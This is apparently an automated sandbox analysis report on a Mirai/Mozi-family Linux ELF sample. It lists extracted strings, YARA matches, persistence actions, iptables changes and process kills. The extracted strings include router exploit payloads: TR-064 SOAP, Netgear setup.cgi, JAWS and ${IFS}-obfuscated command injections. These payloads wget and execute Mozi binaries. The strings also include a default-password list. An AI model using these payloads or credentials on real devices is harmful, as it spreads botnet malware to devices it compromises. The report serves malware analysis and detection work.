Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Source: Initial sample	String containing potential weak password found: admin
Source: Initial sample	String containing potential weak password found: default
Source: Initial sample	String containing potential weak password found: support
Source: Initial sample	String containing potential weak password found: service
Source: Initial sample	String containing potential weak password found: supervisor
Source: Initial sample	String containing potential weak password found: guest
Source: Initial sample	String containing potential weak password found: administrator
Source: Initial sample	String containing potential weak password found: 123456
Source: Initial sample	String containing potential weak password found: 54321
Source: Initial sample	String containing potential weak password found: password
Source: Initial sample	String containing potential weak password found: 12345
Source: Initial sample	String containing potential weak password found: admin1234

Source: Initial sample	Potential command found: GET /c HTTP/1.0
Source: Initial sample	Potential command found: GET %s HTTP/1.1
Source: Initial sample	Potential command found: GET /c
Source: Initial sample	Potential command found: GET /Mozi.6 HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.7 HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.c HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.m HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.x HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.a HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.s HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.r HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.b HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.4 HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.k HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.l HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.p HTTP/1.0
Source: Initial sample	Potential command found: GET /%s HTTP/1.1
Source: Initial sample	Potential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample	Potential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
Source: Initial sample	Potential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
Source: Initial sample	Potential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron

Source: ELF static info symbol of initial sample

.symtab present: no

Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5c62e6b2 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 39501003c45c89d6a08f71fbf9c442bcc952afc5f1a1eb7b5af2d4b7633698a8, id = 5c62e6b2-9f6a-4c6d-b3fc-c6cbc8cf0b4b, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_77137320 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = afeedf7fb287320c70a2889f43bc36a3047528204e1de45c4ac07898187d136b, id = 77137320-6c7e-4bb8-81a4-bd422049c309, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ac253e4f reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = e2eee1f72b8c2dbf68e57b721c481a5cd85296e844059decc3548e7a6dc28fea, id = ac253e4f-b628-4dd0-91f1-f19099286992, last_modified = 2021-09-16
Source: 5511.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5c62e6b2 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 39501003c45c89d6a08f71fbf9c442bcc952afc5f1a1eb7b5af2d4b7633698a8, id = 5c62e6b2-9f6a-4c6d-b3fc-c6cbc8cf0b4b, last_modified = 2021-09-16
Source: 5511.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_77137320 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = afeedf7fb287320c70a2889f43bc36a3047528204e1de45c4ac07898187d136b, id = 77137320-6c7e-4bb8-81a4-bd422049c309, last_modified = 2021-09-16
Source: 5511.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ac253e4f reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = e2eee1f72b8c2dbf68e57b721c481a5cd85296e844059decc3548e7a6dc28fea, id = ac253e4f-b628-4dd0-91f1-f19099286992, last_modified = 2021-09-16
Source: 5509.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5c62e6b2 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 39501003c45c89d6a08f71fbf9c442bcc952afc5f1a1eb7b5af2d4b7633698a8, id = 5c62e6b2-9f6a-4c6d-b3fc-c6cbc8cf0b4b, last_modified = 2021-09-16
Source: 5509.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_77137320 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = afeedf7fb287320c70a2889f43bc36a3047528204e1de45c4ac07898187d136b, id = 77137320-6c7e-4bb8-81a4-bd422049c309, last_modified = 2021-09-16
Source: 5509.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ac253e4f reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = e2eee1f72b8c2dbf68e57b721c481a5cd85296e844059decc3548e7a6dc28fea, id = ac253e4f-b628-4dd0-91f1-f19099286992, last_modified = 2021-09-16
Source: /usr/networks, type: DROPPED	Matched rule: Linux_Trojan_Mirai_5c62e6b2 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 39501003c45c89d6a08f71fbf9c442bcc952afc5f1a1eb7b5af2d4b7633698a8, id = 5c62e6b2-9f6a-4c6d-b3fc-c6cbc8cf0b4b, last_modified = 2021-09-16
Source: /usr/networks, type: DROPPED	Matched rule: Linux_Trojan_Mirai_77137320 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = afeedf7fb287320c70a2889f43bc36a3047528204e1de45c4ac07898187d136b, id = 77137320-6c7e-4bb8-81a4-bd422049c309, last_modified = 2021-09-16
Source: /usr/networks, type: DROPPED	Matched rule: Linux_Trojan_Mirai_ac253e4f reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = e2eee1f72b8c2dbf68e57b721c481a5cd85296e844059decc3548e7a6dc28fea, id = ac253e4f-b628-4dd0-91f1-f19099286992, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.evad.linELF@0/486@75/0

Persistence and Installation Behavior

Executes the "iptables" command to insert, remove and/or manipulate rules

Source: /bin/sh (PID: 5545)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 56901 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5557)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 56901 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5563)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I PREROUTING -t nat -p tcp --destination-port 56901 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5569)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I POSTROUTING -t nat -p tcp --source-port 56901 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5572)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 56901 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5575)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 56901 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5581)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I PREROUTING -t nat -p tcp --dport 56901 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5587)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I POSTROUTING -t nat -p tcp --sport 56901 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5612)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 58000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5615)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 58000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5620)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 58000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5626)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 58000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5633)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 35000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5639)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 50023 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5645)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 50023 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5651)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 35000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5654)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 7547 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5657)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 7547 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5660)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 35000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5663)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 50023 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5666)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 50023 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5671)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 35000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5679)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 7547 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5686)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 7547 -j DROP	Jump to behavior
Source: /bin/sh (PID: 5697)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p udp --destination-port 8083 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5704)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p udp --source-port 8083 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5710)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I PREROUTING -t nat -p udp --destination-port 8083 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5716)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I POSTROUTING -t nat -p udp --source-port 8083 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5722)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p udp --dport 8083 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5725)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p udp --sport 8083 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5732)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I PREROUTING -t nat -p udp --dport 8083 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5738)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I POSTROUTING -t nat -p udp --sport 8083 -j ACCEPT	Jump to behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /tmp/na.elf (PID: 5513)

File: /proc/5513/mounts

Jump to behavior

Sample tries to persist itself using /etc/profile

Source: /tmp/na.elf (PID: 5513)	File: /etc/profile.d/cedilla-portuguese.sh	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	File: /etc/profile.d/im-config_wayland.sh	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	File: /etc/profile.d/gawk.sh	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	File: /etc/profile.d/01-locale-fix.sh	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	File: /etc/profile.d/apps-bin-path.sh	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	File: /etc/profile.d/Z99-cloudinit-warnings.sh	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	File: /etc/profile.d/vte-2.91.sh	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	File: /etc/profile.d/Z97-byobu.sh	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	File: /etc/profile.d/Z99-cloud-locale-test.sh	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	File: /etc/profile.d/xdg_dirs_desktop_session.sh	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	File: /etc/profile.d/bash_completion.sh	Jump to behavior

Sample tries to persist itself using System V runlevels

Source: /tmp/na.elf (PID: 5513)

File: /etc/rcS.d/S95baby.sh

Jump to behavior

Sample tries to set files in /etc globally writable

Source: /tmp/na.elf (PID: 5513)	File: /etc/rcS.d/S95baby.sh (bits: - usr: rx grp: rx all: rwx)			Jump to behavior
Source: /tmp/na.elf (PID: 5513)	File: /etc/init.d/S95baby.sh (bits: - usr: rx grp: rx all: rwx)			Jump to behavior

Terminates several processes with shell command 'killall'

Source: /bin/sh (PID: 5521)

Killall command executed: killall -9 telnetd utelnetd scfgmgr

Jump to behavior

Source: /tmp/na.elf (PID: 5509)	File: /tmp/.ips	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	Directory: //run/speech-dispatcher/.cache	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	Directory: //home/saturnino/.mozilla	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	Directory: //home/saturnino/.cache	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	Directory: //home/saturnino/.gnupg	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	Directory: //home/saturnino/.config	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	Directory: //home/saturnino/.local	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	Directory: //etc/.java	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	Directory: //etc/.java/.systemPrefs	Jump to behavior
Source: /tmp/na.elf (PID: 5513)	Directory: //etc/skel/.config	Jump to behavior
Source: /tmp/na.elf (PID: 5522)	Directory: /tmp/.config	Jump to behavior
Source: /tmp/na.elf (PID: 5530)	Directory: /tmp/.config	Jump to behavior
Source: /tmp/na.elf (PID: 5534)	Directory: /tmp/.ips	Jump to behavior
Source: /tmp/na.elf (PID: 5534)	Directory: /tmp/.config	Jump to behavior
Source: /tmp/na.elf (PID: 5539)	Directory: /tmp/.config	Jump to behavior

Source: /tmp/na.elf (PID: 5509)

Empty hidden file: /tmp/.ips

Jump to behavior

Source: /usr/bin/killall (PID: 5521)	File opened: /proc/110/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/231/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/111/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/112/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/233/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/113/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/114/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/235/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/115/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/1333/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/116/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/1695/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/117/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/118/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/119/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/911/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/914/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/10/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/917/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/11/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/12/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/13/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/14/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/15/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/16/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/17/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/18/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/19/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/1591/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/120/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/121/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/1/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/122/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/243/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/2/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/123/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/3/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/124/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/1588/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/125/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/4/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/246/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/126/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/5/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/127/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/6/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/1585/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/128/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/7/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/129/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/8/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/800/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/9/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/802/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/803/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/804/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/20/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/21/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/3407/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/22/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/23/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/24/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/25/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/26/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/27/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/28/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/29/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/1484/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/490/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/250/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/130/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/251/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/131/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/132/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/133/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/1479/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/378/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/258/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/259/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/931/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/1595/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/812/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/933/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/30/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/3419/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/35/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/3791/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/3310/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/260/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/261/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/262/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/142/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/263/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/264/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/265/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/145/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/266/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/267/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/268/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/3303/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/269/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/1486/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/1806/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/3440/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5521)	File opened: /proc/270/stat	Jump to behavior

Source: /tmp/na.elf (PID: 5515)	Shell command executed: /bin/sh -c "killall -9 telnetd utelnetd scfgmgr"	Jump to behavior
Source: /tmp/na.elf (PID: 5541)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 56901 -j ACCEPT"	Jump to behavior
Source: /tmp/na.elf (PID: 5552)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 56901 -j ACCEPT"	Jump to behavior
Source: /tmp/na.elf (PID: 5558)	Shell command executed: /bin/sh -c "iptables -I PREROUTING -t nat -p tcp --destination-port 56901 -j ACCEPT"	Jump to behavior
Source: /tmp/na.elf (PID: 5567)	Shell command executed: /bin/sh -c "iptables -I POSTROUTING -t nat -p tcp --source-port 56901 -j ACCEPT"	Jump to behavior
Source: /tmp/na.elf (PID: 5570)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --dport 56901 -j ACCEPT"	Jump to behavior
Source: /tmp/na.elf (PID: 5573)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 56901 -j ACCEPT"	Jump to behavior
Source: /tmp/na.elf (PID: 5576)	Shell command executed: /bin/sh -c "iptables -I PREROUTING -t nat -p tcp --dport 56901 -j ACCEPT"	Jump to behavior
Source: /tmp/na.elf (PID: 5582)	Shell command executed: /bin/sh -c "iptables -I POSTROUTING -t nat -p tcp --sport 56901 -j ACCEPT"	Jump to behavior
Source: /tmp/na.elf (PID: 5610)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 58000 -j DROP"	Jump to behavior
Source: /tmp/na.elf (PID: 5613)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 58000 -j DROP"	Jump to behavior
Source: /tmp/na.elf (PID: 5616)	Shell command executed: /bin/sh -c "iptables -I INPUT -p tcp --dport 58000 -j DROP"	Jump to behavior
Source: /tmp/na.elf (PID: 5624)	Shell command executed: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 58000 -j DROP"	Jump to behavior
